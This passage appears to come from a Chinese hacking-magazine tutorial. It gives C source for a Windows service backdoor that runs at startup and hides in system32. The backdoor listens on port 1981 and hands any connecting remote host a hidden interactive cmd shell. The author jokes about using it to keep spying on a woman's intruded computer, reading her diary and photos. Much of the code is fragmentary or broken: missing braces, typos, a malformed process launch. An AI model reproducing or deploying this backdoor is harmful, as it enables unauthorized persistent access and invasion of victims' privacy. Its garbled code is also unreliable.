nt/2000/xp系統服務的後門産生了,現在的winshell,wineggdrop等衆人皆知的telnte擴充後門都利用了這種方式。相信很多小菜們對這種後門技術并不了解,是以,我在這裡就充個大頭,給大家傳授教業解解惑吧(受害mm目光呆滞,一臉絕望:有了你們這幫人,天下什麼時候才能“無賊”啊?)。
前置原理
圖1
“服務”本身是windows nt/2000/xp下客戶/伺服器軟體的合理選擇,因為它提供了像unix下背景程式daemons(守護程序)的等價物,而且使得建立能夠代表權限低的使用者進行權限高的操作的程式成為可能。像我們熟知的rpc服務,病毒掃描程式以及備份程式都是很适合作為服務程序。
服務能被我們利用作為後門實作自啟動,是因為它有三個很重要的特性:
1. 服務可以被指定為自啟動,在利用傳統的系統資料庫修改run鍵值,添加ini自啟動項等方法的基礎上又多了一種選擇。
2. 服務可以在任何使用者登入前開始運作,我們可以在服務啟動時加入殺防火牆的代碼。
3. 服務是運作在背景的,如果不注意,天知道什麼時候被人家裝了後門。
服務大都是由服務控制程式在系統資料庫中維護的一個資訊資料庫來管理的,每個服務在hkey_local_machine\system\currentcontrolset\services中都可以找到相應的一個關鍵項。服務差別于一般windows nt/2000/xp程式的主要之處在于服務與服務控制管理程式的合作,在後面的程式設計中我們将會體會到這一點。
程式設計實作
一個完整的服務分為安裝服務程式,主體服務程式和解除安裝服務程式。我們先來寫服務的主體部分,示例代碼如下:
void main()
{
service_table_entry servicetable[] =
{
{"scuhkr", bdservicemain},
{null, null} //"哨兵"
};
//連接配接到服務控制管理器
startservicectrldispatcher(servicetable);
}
路人甲:什麼,就這麼短?你想侮辱廣大鳥兒的智慧?呵呵,先别急,聽我慢慢道來:上面代碼中,我們先給出了一個service_table_entry結構數組,每個成員描述了調用程序提供的服務,這裡我們隻安裝了一個服務名為scuhkr的服務,後面的bdservicemain()我們稱之為服務主函數,通過回調該函數提供了服務入口位址,它原形的參數必須定義成如下形式:
void winapi bdservicemain(
dword dwargc, //lpszargv參數個數
lptstr* lpszargv //該數組第一個的參數指定了服務名,可以在後面被
startservice()來調用
);
service_table_entry結構數組要求最後一個成員組都為null,我們稱之為“哨兵”(所有值都為null),表示該服務表末尾。一個服務啟動後,馬上調用startservicectrldispatcher()通知服務控制程式服務正在執行,并提供服務函數的位址。startservicectrldispatcher()隻需要一個至少有兩service_table_entry結構的數組,它為每個服務啟動一個線程,一直等到它們結束才傳回。
本程式隻提供了一個服務函數bdservicemain(),下面我們來下完成這個函數的功能,示例代碼如下:
void winapi bdservicemain(dword dwargc, lptstr *lpszargv)
dword dwthreadid; //存放線程id
//通過registerservicectrlhandler()與服務控制程式建立一個通信的協定。
//bdhandler()是我們的服務控制程式,它被可以被用來開始,暫停,恢複,停止服務等控制操作
if (!(servicestatushandle = registerservicectrlhandler("scuhkr",
bdhandler)))
return;
//表示該服務私有
servicestatus.dwservicetype = service_win32_own_process;
//初始化服務,正在開始
servicestatus.dwcurrentstate = service_start_pending; //
//服務可以接受的請求,這裡我們隻接受停止服務請求和暫停恢複請求
servicestatus.dwcontrolsaccepted = service_accept_stop
| service_accept_pause_continue;
//下面幾個一般我們不大關心,全為0
servicestatus.dwservicespecificexitcode = 0;
servicestatus.dwwin32exitcode = 0;
servicestatus.dwcheckpoint = 0;
servicestatus.dwwaithint = 0;
//必須調用setservicestatus()來響應服務控制程式的每次請求通知
setservicestatus(servicestatushandle, &servicestatus);
//開始運作服務
servicestatus.dwcurrentstate = service_running;
servicestatus.dwcheckpoint = 0;
servicestatus.dwwaithint = 0;
//我們用一個事件對象來控制服務的同步
if (!(hevent=createevent(null, false, false, null)))
servicestatus.dwcurrentstate = service_start_pending;
//開線程來啟動我們的後門程式
if (!(hthread=createthread(null, 0, (lpthread_start_routine)mainfn, (lpvoid)0, 0, &dwthreadid)))
waitforsingleobject(hevent, infinite);
closehandle(hthread);
exitthread(dwthreadid);
closehandle(hevent);
return;
上面我們調用了一個服務控制函數bdhandler(),由于隻是簡單的介紹,我們這裡隻處理服務停止控制請求的情況,其它暫停、恢複等功能,讀者可以自己完善。下面是對bdhandler()的實作代碼:
void winapi bdhandler(dword dwcontrol)
switch(dwcontrol)
case service_control_stop:
//等待後門程式的停止
servicestatus.dwcurrentstate = service_stop_pending;
servicestatus.dwcheckpoint = 0;
servicestatus.dwwaithint = 0;
setservicestatus(servicestatushandle, &servicestatus);
//設時間為激發狀态,等待下一個事件的到來
setevent(hevent);
servicestatus.dwcurrentstate = service_stop;
//停止
break;
default:
}
服務控制函數搞定了,下面就剩下主體的後門函數了。本程式借用了n多前輩翻寫過了無數次的後門程式,通過開一個端口監聽,允許任何與該端口連接配接的遠端主機建立信任連接配接,并提供一個互動式shell。為了代碼清晰,我去掉了錯誤檢查,整個過程很簡單,也就不多解釋了,黑防上都有n期介紹了,代碼如下:
dword winapi mainfn(lpvoid lpparam)
wsadata wsadata;
struct sockaddr_in remoteaddr;
dword dwthreadida,dwthreadidb,dwthreadparam=0;
process_information processinfo;
startupinfo startinfo;
wsastartup(makeword(2,2),&wsadata);
serversocket = socket(af_inet, sock_stream, ipproto_tcp);
remoteaddr.sin_family = af_inet;
remoteaddr.sin_port = htons(1981); //監聽端口
remoteaddr.sin_addr.s_un.s_addr = inaddr_any;
bind(serversocket,(lpsockaddr)&remoteaddr,sizeof(remoteaddr));
listen(serversocket, 2);
vara = 0;
varb = 0;
createthread(null, 0, threadfunca, null, 0, &dwthreadida);
createthread(null, 0, threadfuncb, null, 0, &dwthreadidb);
dowhile((vara || varb) == 0);
getstartupinfo(&startinfo);
startinfo.dwflags = startf_useshowwindow|startf_usestdhandles;
startinfo.hstdinput = hreadpipe;
startinfo.hstderror = hwritepipe;
startinfo.hstdoutput = hwritepipe;
startinfo.wshowwindow = sw_hide; //隐藏控制台視窗
char szapp[256];
getsystemdirectory(szapp,max_path+1);
//開cmd程序
if (createprocess(szapp, null, null, null, true, 0,
null, null, &startinfo, &processinfo) == 0)
{
printf ("createprocess error!\n");
return -1;
}
while (true)
clientsocket = accept(serversocket, null, null);
sleep(250);
return 0;
//線程函數a, 通過管道a來從控制端接受輸入,然後寫入被控制端輸入端
dword winapi threadfunca( lpvoid lpparam )
security_attributes pipeattr;
dword nbytetowrite, nbytewritten;
char recv_buff[1024];
pipeattr.nlength = sizeof(security_attributes);
pipeattr.lpsecuritydescriptor = null;
pipeattr.binherithandle = true;
createpipe(&hreadpipe,
&hwritefile,
&pipeattr,
0);
vara = 1;
while(true)
nbytetowrite = recv(clientsocket,
recv_buff,
1024,
0);
printf("%s\n", recv_buff);
writefile(hwritefile,
nbytetowrite,
&nbytewritten,
null);
//線程函數b, 通過管道b來從被控制端接受輸入,然後寫到控制端輸出端
dword winapi threadfuncb( lpvoid lpparam )
dword len;
char send_buff[25000];
createpipe(&hreadfile,
&hwritepipe,
varb = 1;
在我們成功入侵目标mm主機後,看了mm的照片,讀了mm的日記……此處省略惡行30條。在拍屁股走人之前,怎麼也要留個後門,友善下次繼續看新的照片,繼續讀mm的小秘密(呵呵,大家不要誤會,我從來不幹這種事d)。那後門怎麼留?我們上面寫的都是主體部分,還沒安裝呢。安裝服務的部分其實很簡單,示例代碼如下:
// installservice.cpp
sc_handle hscmanager = null, //服務控制管理器句柄
hservice = null; //服務句柄
char szsyspath[max_path]=,
if ((hscmanager = openscmanager(null, //null表明是本地主機
null, // 要打開的服務控制管理資料庫,預設為空
sc_manager_create_service//建立權限
))==null)
pirntf("openscmanager failed\n");
getsystemdirectory(szsyspath, max_path); //獲得系統目錄,也就是system32裡面,隐蔽起來
strcpy(szexepath, szsyspath);
strcat(szexepath, "scuhkr.exe"); //應用程式絕對路徑
if ((hservice=createservice(hscmanager, //指向服務控制管理資料庫的句柄
"scuhkr", //服務名
"scuhkr backdoor service", //顯示用的服務名
service_all_access, //所有通路權限
service_win32_own_process, //私有類型
service_demand_start, //自啟動類型 service_error_ignore, //忽略錯誤處理
szexepath, //應用程式路徑
null,
null)) == null)
printf("%d\n", getlasterror());
return;
//讓服務馬上運作。萬一是個伺服器,10天半個月不重新開機,豈不是沒搞頭?
if(startservice(hservice, 0, null) == false)
{
printf("startservice failed: %d\n", getlasterror());
printf(“install service successfully\n ”);
closeservicehandle(hservice); //關閉服務句柄
closeservicehandle(hscmanager); //關閉服務管理資料庫句柄
ok,一切都寫完了,我們在本機上測試一下,先把前面的服務主體程式scuhkr.exe拷貝到系統目錄\system32下(如果需要程式自動實作自拷貝的,可以通過copyfile()來實作,具體怎麼做偶就不講了,相信聰明的你三下五除二就能搞定,确實不行就去找winshell的源代碼來看看吧),然後執行installservcie.exe。為了看我們是否安裝成功,有兩個辦法,一是通過控制台->管理工具->服務,二是利用控制台下系統自帶的sc.exe工具,比如:“sc.exe qc rpcss”,如圖2所示。看到安裝服務的資訊了?是不是很簡單呢!
圖2
至于以後不想再要這個mm的殭屍電腦了,又不想留下把柄什麼的,要删除服務怎麼辦?讀者就自己當做練習吧。還有一點要說的是,本人也是臨時抱佛腳,狂啃了幾天關于nt系統服務方面的程式設計,如果有什麼不對,歡迎大家批評指正!
(文中涉及到的程式已收錄到雜志配套CD光牒“雜志相關”欄目,按文章名查找即可)